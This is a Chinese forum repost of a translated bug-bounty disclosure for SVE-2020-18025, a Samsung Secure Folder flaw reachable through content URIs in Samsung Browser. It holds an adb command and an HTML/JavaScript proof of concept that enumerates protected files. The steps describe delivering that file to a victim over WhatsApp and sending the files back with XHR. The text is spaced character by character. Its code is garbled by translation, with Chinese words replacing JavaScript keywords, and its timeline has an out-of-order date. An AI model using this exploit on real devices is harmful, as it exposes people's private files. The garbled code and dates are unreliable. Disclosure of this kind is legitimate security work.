搜索

[2194] 2020-11-04_SVE-2020-18025

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-11-04_SVE-2020-18025 S V E - 2 0 2 0 - 1 8 0 2 5 原 创   R a h u l   K a n k r a l e   E D I 安 全   2 0 2 0 - 1 1 - 0 4 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 标 题 S V E - 2 0 2 0 - 1 8 0 2 5 ： 未 经 授 权 访 问 S a m s u n g 安 全 文 件 夹 文 件 使 用 多 用 户 存 储 环 境 通 过 安 全 文 件 夹 应 用 程 序 保 护 高 文 件 安 全 ， 并 且 内 容 提 供 者 无 法 访 问 这 些 文 件 ， 因 此 其 他 浏 览 器 或 应 用 程 序 无 法 访 问 这 些 文 件 ， 在 安 全 文 件 夹 处 于 锁 定 状 态 时 ， 可 以 使 用 内 容 u r i 通 过 S a m s u n g 浏 览 器 访 问 那 些 安 全 文 件 。 内 容 u r i 需 要 一 个 文 件 号 来 访 问 特 定 文 件 ， 并 且 可 以 使 用 j a v a s c r i p t 枚 举 所 有 文 件 来 实 现 此 目 标 。 0 2 重 现 问 题 的 步 骤 要 获 取 用 于 多 用 户 存 储 的 u s e r I n f o ： 这 将 打 印 为 ： 因 此 可 以 通 过 内 容 u r i 访 问 文 件 ， 例 如 ： c o n t e n t ： / /   1 5 0   @   m e d i a   /   e x t e r n a l   /   f i l e   /   f i l e _ n u m b e r   使 用 下 面 的 代 码 片 段 创 建 一 个 h t m l 文 件 （ 感 谢 F - S e c u r e   L a b s 的 支 持 ） 将 此 文 件 另 存 为 h t m l 并 通 过 w h a t s a p p 发 送 给 受 害 者 （ 减 少 攻 击 发 送 到 w h a t s a p p 的 步 骤 很 容 易 ） 从 w h a t s a p p 消 息 中 ， 在 S a m s u n g 浏 览 器 中 打 开 此 文 件 ， 它 将 开 始 枚 举 文 件 ， 如 果 找 到 有 效 文 件 ， 它 将 显 示 内 容 u r i 路 径 （ 技 术 是 脚 本 源 响 应 ， 我 们 可 以 枚 举 所 有 文 件 并 使 用 相 同 的 j s 列 出 它 ） 。 在 三 星 浏 览 器 中 ， 打 开 第 3 步 中 列 举 的 路 径 （ 例 如 ， c o n t e n t ： / /   1 5 0   @   m e d i a   /   e x t e r n a l   /   f i l e   /   1 0 0 2 ） ， 将 显 示 安 全 文 件 ， 并 使 用 x h r 请 求 ， 如 果 需 要 ， 我 们 可 以 将 这 些 文 件 发 回 给 我 们 。 0 3 时 间 线 1 2 / 0 6 / 2 0 2 0 ： 已 报 告 问 题 1 5 / 0 6 / 2 0 2 0 ： 指 派 安 全 分 析 师 2 0 2 0 年 7 月 2 4 日 ： 我 们 需 要 额 外 的 时 间 与 我 们 的 内 部 利 益 相 关 方 一 起 审 查 此 问 题 。 1 4 / 0 8 / 2 0 2 0 ： 我 们 从 您 的 发 现 中 确 认 了 该 漏 洞 ， 并 得 出 该 漏 洞 的 严 重 性 为 高 。 1 5 / 0 9 / 2 0 2 0 ： 赏 金 奖 励 3 7 5 0 美 元 2 0 2 0 年 5 月 1 0 日 ： S V E - 2 0 2 0 - 1 8 0 2 5 ， 我 们 已 完 成 安 全 更 新 和 奖 励 过 程 。 因 此 ， 我 们 现 在 要 解 决 此 问 题 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 0 x 0 1   严 重 性 严 重 性 a d b   s h e l l   p m   l i s t   u s e r s U s e r I n f o { 0 : r a h u l : 1 }   r u n n i n g U s e r I n f o { 1 5 0 : S e c u r e   F o l d e r :   }   r u n n i n g < h t m l > < b o d y > < s c r i p t > v a r   s c r i p t E l e m e n t   =   d o c u m e n t . c r e a t e E l e m e n t （ “   s c r i p t ” ） ; v a r   i   =   0 ; 函 数 n e x t （ ） { s c r i p t E l e m e n t . o n e r r o r   =   f u n c t i o n （ ） { i   + + ;   d o c u m e n t . w r i t e （ ' F i n d i n g ' ） ;   下 一 个 （ ） ;   } ;   s c r i p t E l e m e n t . o n l o a d   =   f u n c t i o n （ ） { f o u n d I t （ ） ;   } ;   s c r i p t E l e m e n t . s r c   = “   c o n t e n t ： / /   1 5 0   @   m e d i a   /   e x t e r n a l   /   f i l e   / ”   +   i ;   d o c u m e n t . b o d y . a p p e n d C h i l d （ s c r i p t E l e m e n t ） ; } 函 数 f o u n d I t （ ） { a l e r t （ s c r i p t E l e m e n t . s r c ） ; } ; < / s c r i p t > < / b o d y > < / h t m l > 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理